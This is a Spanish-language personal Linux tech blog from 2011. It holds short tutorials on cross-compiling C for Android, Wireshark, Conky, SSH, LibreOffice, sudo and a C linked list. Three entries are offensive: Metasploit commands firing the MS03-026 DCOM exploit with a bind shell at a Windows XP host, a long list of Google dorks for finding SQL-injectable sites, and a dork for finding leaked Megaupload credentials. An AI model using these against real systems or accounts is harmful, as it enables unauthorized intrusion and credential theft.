jueves, 15 de diciembre de 2011

Programando C para Android

Para empezar, necesitamos un Cross Toolchain, que serian las herramientas necesarias para poder compilar un programa escrito en C, en una máquina con otra arquitectura distinta a ARM, en mi caso es Fedora y la arquitecutra i686. Y el móvil es un HTC, que como la mayoria de los smartphones, lleva un procesador ARM.

Primero, descargamos el Cross toolchain.
# cd /etc/yum.repos.d/
# wget http://ftp.linux.org.uk/pub/linux/arm/fedora/cross/cross.repo
# yum install armv5tel-redhat-linux-gnueabi-gcc


Ahora ya tenemos el compilador que vamos a usar para compilar nuestro código en C, que posteriormente ejecutaremos en el móvil.

(Este es el código que vamos a compilar)


#include "stdio.h"

int main (int argc, char* argv[])
{
printf("Hello World\n");
return 0;
}


Compilamos:

$ armv5tel-redhat-linux-gnueabi-gcc -static helloworld.c -o hola
$ file hello

(Nos saldrá esto: hello: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, for GNU/Linux 2.6.14, not stripped)

Ahora vamos a pasarlo al aparato en el que lo vamos a ejecutar, en este caso es un smartphone, que tiene android. Así que instalamos Android Tools desde los repositorios de fedora.

$ sudo yum install android-tools


Ahora podremos entrar al terminal escribiendo.

$ adb shell
$ cd sdcard
$ mkdir ProgramasC
$ exit
$ adb push hola /sdcard/ProgramasC/hola

(Aquí teneis que poner la ruta donde querais tener el ejecutable)

ahora podeis comprobar si lo podeis ejecutar.

$ adb shell
$ cd sdcard/ProgramasC
$ chmod 777 hola
$ ./hola


(Si no lo podemos ejecutar, comprobaremos con mount, a ver si tiene puesta la opción de noexec)
$ mount | grep -i sdcard

Si tiene noexec, tendremos que hacer un remount poniendola en exec.
$mount -o remount,exec -t vfat /dev/block/vold/179:1 /mnt/sdcard





(Aquí tendreis que poner el lugar donde este montada vuestra tarjeta SD)
Una vez hecho esto, ya podreis ejecutar vuestro código escrito en C en vuestro ARM :)


miércoles, 7 de diciembre de 2011

Instalar Wireshark

Primero, instalamos wireshark.

$ sudo yum install wireshark


Ahora añadimos nuestro usuario al grupo wireshark, para que no tengamos que ejecutar siempre wireshark como root.

$ sudo nano /etc/group

Buscamos el grupo wireshark y añadimos nuestro usuario, quedando algo así:
wireshark:x:991:manu
(siendo manu el usuario)

$ chgrp wireshark /usr/sbin/dumpcap
$ chmod 4750 /usr/sbin/dumpcap


Ahora cerramos sesión, y volvemos a entrar. Y ya podemos ejecutar wireshark con nuestro usuario.

miércoles, 30 de noviembre de 2011

Exploit DCOM en Windows XP

Bueno, en esta entrada vamos a usar Metasploit contra una máquina que esta en mi red y tiene Windows XP.

Primero, usamos nmap y vemos que puertos tiene abiertos.




Vemos que tiene el puerto 135, y Windows XP, así que el exploit a elegir será este: exploit/windows/dcerpc/ms03_026_dcom

Abrimos metasploit en la consola

$msfconsole
$use exploit/windows/dcerpc/ms03_026_dcom
$set TARGET 0
$show payloads
(Aquí elegimos el que queramos, yo he cogido generic/shell_bind_tcp)
$set PAYLOAD generic/shell_bind_tcp
$set RHOST 192.168.1.12
(Máquina remota a la que vamos a meter el exploit)
$exploit



Resultado:

Instalar Metasploit en Fedora

En esta entrada vamos a anotar como instalar esta poderosa herramienta, que es Metasploit.
Para quien no lo sepa, Metasploit es un proyecto open source de seguridad informática que nos da información sobre vulnerabilidades. También cuenta con numerosas herramientas y exploits para poder lanzarlos contra una máquina remota.

En primer lugar. Vamos a la web y descargamos el que nos corresponda.http://metasploit.com/download/
En mi caso he elegido el de 64 bits. (Ahora mismo estoy en Fedora 16 x86_64).

Una vez descargado metasploit-latest-linux-x64-installer.run

Vamos a instalarlo.
Primero instalamos ruby.

sudo yum install ruby

Damos permiso de ejecución al .run.

chmod +x metasploit-latest-linux-x64-installer.run
./metasploit-latest-linux-x64-installer.run


Seguimos los pasos en la ventana que se nos abrirá. Y una vez finalizado el proceso ya podemos poner en nuestro terminal: msfconsole
Y comenzar a usarlo :)

miércoles, 16 de noviembre de 2011

Configurar Conky

Conky es un monitor de sistema para Linux, FreeBSD y OpenBSD.Es altamente configurable, pudiendo monitorizar muchisimas variables del sistema, como pueden ser el estado de la CPU, memoria, swap, discos duros, archivos de log, mensajes del sistema, información de la bateria, etc. En esta dirección tenemos todas la variables http://conky.sourceforge.net/variables.html

Ahora vamos a empezar a instalar conky.

$ sudo yum install conky
$ sudo yum install sensors_lm


(instalamos sensors_lm para poder monitorizar la temperatura de la cpu)

Ahora debemos de crear un archivo de configuración de conky en nuestro home.

$ sudo nano .conkyrc

Ahora, cuando iniciemos conky, tomara los valores de este archivo.

En mi caso, este es mí archivo de configuración:

background yes
font Caliban:size=8
xftfont Caliban:size=8
use_xft yes
xftalpha 0.5
update_interval 1.0
total_run_times 0

own_window yes
own_window_type desktop
own_window_transparent yes
own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager
double_buffer yes
#default_bar_size 500 700
draw_shades yes
draw_outline no
draw_borders no
draw_graph_borders no

minimum_size 1300 0
maximum_width 208

default_color ffffff
default_shade_color 000000

alignment bottom_right
gap_x 5
gap_y 130

no_buffers yes
cpu_avg_samples 2
override_utf8_locale yes
uppercase no
use_spacer none



TEXT

${color CC9900}SYSTEM ${hr 2}$color
${color #42AE4A}Kernel:${color #CED7EB}$kernel
${color #42AE4A}UpTime: ${color #CED7EB}$uptime

${color #42AE4A}CPU Temperature: ${color #CED7EB} ${exec sensors | grep -i 'CPU TEMPERATURE'| awk '{print $3}'}
${color #42AE4A}Core0:${color #CED7EB} ${freq_g 1} Ghz ${color #42AE4A} Temp: ${color #CED7EB} ${exec sensors | grep 'Core0'|awk '{print $3}'}
${cpu cpu1}% ${color 597DB2}${cpubar cpu1}$color
${color #42AE4A}Core1:${color #CED7EB} ${freq_g 2} Ghz ${color #42AE4A} Temp: ${color #CED7EB} ${exec sensors | grep 'Core1'|awk '{print $3}'}
${cpu cpu2}% ${color 597DB2}${cpubar cpu2}$color

${color slate grey}Processes: ${color #CED7EB}$processes ${color slate grey}Running: ${color #CED7EB}$running_processes

${color CC9900}TOP PROCESSES ${hr 2}$color
${color #42AE4A}Name PID CPU MEM
${color #CED7EB}${top name 1} ${alignr} ${top pid 1} ${top cpu 1} ${top mem 1}
${top name 2} ${alignr} ${top pid 2} ${top cpu 2} ${top mem 2}
${top name 3} ${alignr} ${top pid 3} ${top cpu 3} ${top mem 3}
${color #42AE4A}Mem Usage
${color #CED7EB}${top_mem name 1} ${alignr} ${top_mem pid 1} ${top_mem cpu 1} ${top_mem mem 1}
${top_mem name 2} ${alignr} ${top_mem pid 2} ${top_mem cpu 2} ${top_mem mem 2}
${top_mem name 3} ${alignr} ${top_mem pid 3} ${top_mem cpu 3} ${top_mem mem 3}

${color CC9900}MEMORY ${hr 2}$color
${color #42AE4A}MEM: ${color #CED7EB} $memperc% $mem/$memmax
${color 597DB2}${membar }
${color #42AE4A}SWAP: ${color #CED7EB}$swapperc% $swap/$swapmax
${color 597DB2}${swapbar }

${color CC9900}DISK ${hr 2}$color
${color #42AE4A}ROOT: ${color #CED7EB}${fs_used /}/${fs_size /}
${color 597DB2}${fs_bar /}
${color #42AE4A}HOME: ${color #CED7EB}${fs_used /home}/${fs_size /home}
${color 597DB2}${fs_bar /home}
${color #42AE4A}OTRO: ${color #CED7EB}${fs_used /media/K:}/${fs_size /media/K:}
${color 597DB2}${fs_bar /media/K:}


${color CC9900}NETWORK ${hr 2}$color
${color #42AE4A}Local IP: ${color #CED7EB}${addr eth0}
${color #42AE4A}Public IP:${color #CED7EB} ${execi 3600 wget -q -O - checkip.dyndns.org|sed -e 's/.*Current IP Address: //' -e 's/<.*$//'}
${color #42AE4A}Uploaded: ${color #CED7EB}${totalup eth0}
${color #42AE4A}Downloaded: ${color #CED7EB}${totaldown eth0}




Por cierto, cuando modifiqueis mucho el .conkyrc, si mirais el uso de la memoria, conky estara consumiendo bastante más de lo que suele usar, así que podeis finalizar el proceso, y luego volver a iniciarlo, y vereis como os consume muchisimo menos. (Esa configuración consume 1mb aprox.)

miércoles, 9 de noviembre de 2011

Servidor SSH en Linux

SSH (Secure SHell) es una shell (intérprete de comandos) seguro, sirve para acceder a máquinas remotas a través de una red, y podemos controlar estas desde el terminal. SSH trabaja de forma similar a telnet. La diferencia es que SSH usa técnicas de cifrado que hacen que la información vaya de manera no legible.

En Fedora viene instalado por defecto en servidor, pero si no lo teneis en vuestra distrubición, solo teneis que descargar openssh-server desde vuestro gestor de descarga.


(Ejecutar estas instrucciones logeados como root o bien con sudo)
Para iniciarlo
$ /etc/init.d/sshd start
o
$ service sshd start
Para pararlo
$ service sshd stop
Para reiniciarlo
$ service sshd restart
Y para ver su estado
$ service sshd status

Para configurarlo tenemos que abrir:
$ nano /etc/ssh/sshd_config

Como recomendación yo cambiaría el puerto 22 por cualquier otro puerto, por ejemplo 4450 Port 4450, el protocolo lo ponemos en 2, Protocol 2, y que no se pueda entrar como root. PermitRootLogin no

Todo eso dentro del archivo de configuración sshd_config
Ahora solo tenemos que abrir en el router el puerto que hemos puesto para el servidor ssh, en nuestro caso es el 4450.

reiniciamos el servidor
$ service sshd restart

y probamos a conectarnos:
$ ssh user@127.0.0.1 -p 4450
o en mi caso también con:
$ ssh user@192.168.1.10 -p 4450

Si queremos conectarnos desde otra máquina fuera de nuestra red local, solo tenemos que poner
$ ssh user@ip.publica -p 4450

Si tenemos una ip dinámica es conveniente que nos registremos en y pongamos un DNS a nuestra ip, luego entramos al router por telnet o web, y desde ahí podemos poner el DNS dinámico, así cada vez que encendamos el router, aunque tengamos una ip distinta, tendremos el nombre de dominio que nos hemos puesto en dyndns, y nos podremos conectar desde otra máquina de esta forma, sin tener que preocuparnos en mirar nuestra ip, que cada vez que apagemos y encendamos el router sera distinta:
$ ssh user@perroscallejeros.dyndns.org

donde user, sera un usuario de la máquina.

Si queremos que el servidor se arranque automaticamente cuando arranquemos el SO.

$ sudo chkconfig sshd on

miércoles, 2 de noviembre de 2011

LibreOffice en Fedora 15

En esta entrada vamos a instalar esta suite de ofimática libre y gratuita que es LibreOffice (bifurcación de OpenOffice.org cuando Oracle compro Sun Microsystems, desarrolladores de OpenOffice.org).

En primer lugar, vamos a bajarlo de: http://www.libreoffice.org/download
Como vemos, el archivo descargado tiene de extension *.tar.gz

La extensión .tar se usa mucho en sistemas UNIX, para almacenar archivos y directorios en un solo archivo, lo cual es bastante útil, pero sin comprimir estos archivos. Sin embargo cuando la extensión es .tar.gz, quiere decir que esta comprimido con gzip.

Una vez descargado, vamos a proceder a descomprimirlo e instalarlo posteriormente.

Ahora vamos a la carpeta donde lo tenemos guardado, en mi caso es Descargas
$ cd Descargas/
Para descomprimirlo, usamos:
$ tar -xzvf LibO_3.4.3_Linux_x86_install-rpm_en-US.tar.gz
Una vez descomprimido, vamos a la carpeta donde estan los archivos:
$ cd LibO_3.4.3_Linux_x86_install-rpm_en-US.tar.gz
(En la cual hay dos carpetas, readme y RPMS). En RPMS estan los archivos que debemos instalar.
$ sudo rpm -Uvh RPMS/*.rpm

$ sudo rpm -ivh RPMS/desktop-integration/libreoffice3.4-redhat-menus-3.4-302.noarch.rpm

Ahora ya nos sale LibreOffice en el menú. (La primera vez me salia que no tenia JRE de java instalado, si no lo teneis, debeis instalarlo.)

Ahora bajamos de la misma web de antes, los paquetes de idiomas y descomprimimos e instalamos igual que antes:


$ tar -xzvf LibO_3.4.3_Linux_x86_langpack-rpm_es.tar.gz
$ cd LibO_3.4.3rc2_Linux_x86_langpack-rpm_es
$ sudo rpm -ivh RPMS/*.rpm
$ cd ..
$ tar -xzvf LibO_3.4.3_Linux_x86_helppack-rpm_es.tar.gz
$ cd LibO_3.4.3rc2_Linux_x86_helppack-rpm_es
$ sudo rpm -ivh RPMS/*.rpm



PD: Si al instalar los paquetes de idiomas os da algún fallo, os recomiendo que los instaleis uno a uno (no son muchos), yendo a la carpeta donde estan los RPMs y usando la sintaxis:
$ sudo rpm -Uvh paquete.rpm

jueves, 27 de octubre de 2011

Activar sudo en Fedora

En Fedora no viene activado el comando sudo , así que si lo queremos tener, para poder instalar y hacer cambios desde nuestro usuario, sin tener que idenficarnos como root (su).

Solo tenemos que abrir un terminal

$ su
$ nano /etc/sudoers

Y busca donde ponga: root ALL=(ALL) ALL
y ponemos debajo: nuestro_usuario ALL=(ALL) ALL

Quedando así:

Ahora guardamos el archivo con Ctrl+O y salimos con Ctrl+X

Ahora ya podemos escribir: $ exit
Y salimos del root.

martes, 25 de octubre de 2011

Lista de dorks para SQLi

Aquí tenemos una pequeña lista de dorks usados para la famosa SQL injection...

inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=

Usa la imaginación...

Cambiar el nombre del equipo.

Esto es algo muy sencillo:

Abrimos un terminal:



$ sudo nano /etc/hostname
(Cambiamos el nombre que tenemos actualmente por el que queremos poner, guardamos con ctr+o y salimos ctrl+x)

$ sudo reboot


viernes, 21 de octubre de 2011

JDownloader en Fedora 15

En esta entrada, vamos a instalar el famoso gestor de descargas en Fedora 15.

http://jdownloader.org


Vamos a http://jdownloader.org/download/index y descargamos jd.sh (Donde pone Linux obviamente)
Una vez descargado, lo tendremos en descargas.

Vamos a esa carpeta:

$ cd Descargas
$ chmod +x jd.sh
$ sh jd.sh

Después empezará a descargar desde una ventana.
Si en este punto os dice que hay un error en java, es porque no teneis instalado el jdk de java. Para instalarlo, basta con poner.

$ su -c 'yum install java-1.6.0-openjdk'

Una vez instalado JDownloader, para que nos salga en el Dash, tendremos que hacerlo manualmente, creando un lanzador.


$ cd /home/USER/.local/share/applications
$ gedit

Y pegamos esto en el archivo

[Desktop Entry]
Version=1.0
Type=Application
Categories=Network;
Terminal=false
Exec=java -jar /home/USER/.jd/JDownloader.jar
Name=JDownloader
Comment=Gestor de Descargas JDownloader
Icon=/home/USER/.jd/jd/img/logo/jd_logo_256_256.png


Lo guardamos como JDownloader.desktop

(Donde pone USER, tendreis que poner vuestro usuario)

Y ya lo tendremos en el Dash.

Ahora para que este gráficamente integrado en el tema, podeis ir a Ajustes, y allí cambiar el idioma, y la interfaz.



miércoles, 19 de octubre de 2011

Restaurar las X y aceleración gráfica.

Como casi siempre, cada vez que actualizamos el kernel de nuestra distribución, se nos jode la animación 3D en el escritorio. Bien, mi caso es con una tarjeta gráfica ATI Radeon X550 y Ubuntu 10.04, y después de mucho leer y sin conseguir arreglarlo, di con la tecla. Os lo resumo aquí. Primeramente debeis instalar los drivers.

Es conveniente que vayais al modo texto (alt + ctrl + F1).
1. sudo /etc/init.d/gdm stop
2. sudo Xorg -configure
3. sudo cp xorg.conf.new /etc/X11/xorg.conf
4. sudo dpkg-reconfigure xserver-xorg
5. sudo reboot

Después de reiniciar, entramos en el modo gráfico.
instalamos mesa-utils: sudo apt-get install mesa-utils
y ejecutamos: glxinfo ó glxgears.

A mí como no me funcionaba, cada vez que ponia glxinfo me salia
X Error of failed request: BadLength (poly request too large or internal Xlib length error) Major opcode of failed request:...
Total, que no me funcionaba la aceleración 3D, y no encontraba nada por internet. Al final de casualidad instalé.
sudo apt-get install libgl1-mesa-swx11-dev


Y ya funciona la aceleración 3D perfectamente, igual que antes de actualizar el kernel.
Finalmente, para comprobar si os funciona la aceleración 3D:
$ glxinfo | grep direct
$ glxgears

Aquí os dejo el archivo xorg.conf por sí hay alguna duda.


Section "ServerLayout"
Identifier "X.org Configured"
Screen 0 "Screen0" 0 0
InputDevice "Mouse0" "CorePointer"
InputDevice "Keyboard0" "CoreKeyboard"
EndSection

Section "Files"
ModulePath "/usr/lib/xorg/modules"
FontPath "/usr/share/fonts/X11/misc"
FontPath "/usr/share/fonts/X11/cyrillic"
FontPath "/usr/share/fonts/X11/100dpi/:unscaled"
FontPath "/usr/share/fonts/X11/75dpi/:unscaled"
FontPath "/usr/share/fonts/X11/Type1"
FontPath "/usr/share/fonts/X11/100dpi"
FontPath "/usr/share/fonts/X11/75dpi"
FontPath "/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType"
FontPath "built-ins"
EndSection

Section "Module"
Load "extmod"
Load "record"
Load "dbe"
Load "dri2"
Load "dri"
Load "glx"
EndSection

Section "InputDevice"
Identifier "Keyboard0"
Driver "kbd"
EndSection

Section "InputDevice"
Identifier "Mouse0"
Driver "mouse"
Option "Protocol" "auto"
Option "Device" "/dev/input/mice"
Option "ZAxisMapping" "4 5 6 7"
EndSection

Section "Monitor"
#DisplaySize 300 230 # mm
Identifier "Monitor0"
VendorName "SAM"
ModelName "SyncMaster"
HorizSync 30.0 - 61.0
VertRefresh 56.0 - 75.0
Option "DPMS"
EndSection

Section "Device"
### Available Driver options are:-
### Values: : integer, : float, : "True"/"False",
### : "String", : " Hz/kHz/MHz"
### [arg]: arg optional
#Option "NoAccel" # []
#Option "SWcursor" # []
#Option "Dac6Bit" # []
#Option "Dac8Bit" # []
#Option "BusType" # []
#Option "CPPIOMode" # []
#Option "CPusecTimeout" #
#Option "AGPMode" #
#Option "AGPFastWrite" # []
#Option "AGPSize" #
#Option "GARTSize" #
#Option "RingSize" #
#Option "BufferSize" #
#Option "EnableDepthMoves" # []
#Option "EnablePageFlip" # []
#Option "NoBackBuffer" # []
#Option "DMAForXv" # []
#Option "FBTexPercent" #
#Option "DepthBits" #
#Option "PCIAPERSize" #
#Option "AccelDFS" # []
#Option "IgnoreEDID" # []
#Option "CustomEDID" # []
#Option "DisplayPriority" # []
#Option "PanelSize" # []
#Option "ForceMinDotClock" #
#Option "ColorTiling" # []
#Option "VideoKey" #
#Option "RageTheatreCrystal" #
#Option "RageTheatreTunerPort" #
#Option "RageTheatreCompositePort" #
#Option "RageTheatreSVideoPort" #
#Option "TunerType" #
#Option "RageTheatreMicrocPath" #
#Option "RageTheatreMicrocType" #
#Option "ScalerWidth" #
#Option "RenderAccel" # []
#Option "SubPixelOrder" # []
#Option "ShowCache" # []
#Option "ClockGating" # []
#Option "VGAAccess" # []
#Option "ReverseDDC" # []
#Option "LVDSProbePLL" # []
#Option "AccelMethod" #
#Option "DRI" # []
#Option "ConnectorTable" #
#Option "DefaultConnectorTable" # []
#Option "DefaultTMDSPLL" # []
#Option "TVDACLoadDetect" # []
#Option "ForceTVOut" # []
#Option "TVStandard" #
#Option "IgnoreLidStatus" # []
#Option "DefaultTVDACAdj" # []
#Option "Int10" # []
#Option "EXAVSync" # []
#Option "ATOMTVOut" # []
#Option "R4xxATOM" # []
#Option "ForceLowPowerMode" # []
#Option "DynamicPM" # []
#Option "NewPLL" # []
#Option "ZaphodHeads" #
Option "DRI" "true"
Option "XAANoOffscreenPixmaps" "true"
Identifier "Card0"
Driver "radeon"
VendorName "ATI Technologies Inc"
BoardName "RV370 [Sapphire X550 Silent]"
BusID "PCI:2:0:0"
EndSection

Section "Screen"
Identifier "Screen0"
Device "Card0"
Monitor "Monitor0"
SubSection "Display"
Viewport 0 0
Depth 1
EndSubSection
SubSection "Display"
Viewport 0 0
Depth 4
EndSubSection
SubSection "Display"
Viewport 0 0
Depth 8
EndSubSection
SubSection "Display"
Viewport 0 0
Depth 15
EndSubSection
SubSection "Display"
Viewport 0 0
Depth 16
EndSubSection
SubSection "Display"
Viewport 0 0
Depth 24
EndSubSection
EndSection

Section "Extensions"
Option "Composite" "Disable"
EndSection

Section "DRI"
Mode 0666
EndSection





viernes, 7 de octubre de 2011

Listas en C.

#include
#include
#include


typedef struct {
char cadena[100];
void *siguiente_elemento;
} Elemento;

typedef Elemento * Lista;


//agregar elemento

void Lista_Agregar(Lista *l, const Elemento *elem){ /* agrega una copia de elem al final de la lista.*/
Elemento * nuevo = (Elemento *) malloc (sizeof (Elemento));
strcpy(nuevo->cadena,elem->cadena);

if (*l == NULL) {
nuevo->siguiente_elemento = *l;
*l = nuevo;
printf("Primer Elemento introducido\n");
}
else {
Elemento *aux = *l;
Elemento *ant = NULL;
while (aux != NULL){
ant = aux;
aux = aux->siguiente_elemento;
}
ant->siguiente_elemento = nuevo;
nuevo->siguiente_elemento = aux;
}

printf("Elemento introduco\n");
}

//imprimir lista

void ImprimirLista(Elemento *aux){
while (aux!=NULL){
printf("%s \n",aux->cadena);
aux=aux->siguiente_elemento;
}
}

//Vaciar lista
void Lista_Vaciar(Lista *l){
Elemento *aux;
while (*l){
aux = *l;
*l = aux->siguiente_elemento;
free(aux);
}

}

Google Search

En esta entrada vamos a poner las funciones avanzadas para buscar en google, ya que como todos bien sabemos, todo esta en él. Así que si aprendemos a buscar bien, podremos hacer casi cualquier cosa...

Búsqueda de frases ("") ejemplo. "hola caracola"
Búsquedas en un sitio web específico (site:) ejemplo. iraq site:elpais.com

Así, por ejemplo si ponemos en el buscador.
program: host/ip:http://www.megaupload.com login: password: Computer:

Nos saldran un listado de webs donde habrá cuentas de megaupload por ejemplo, y así con muchas otras webs.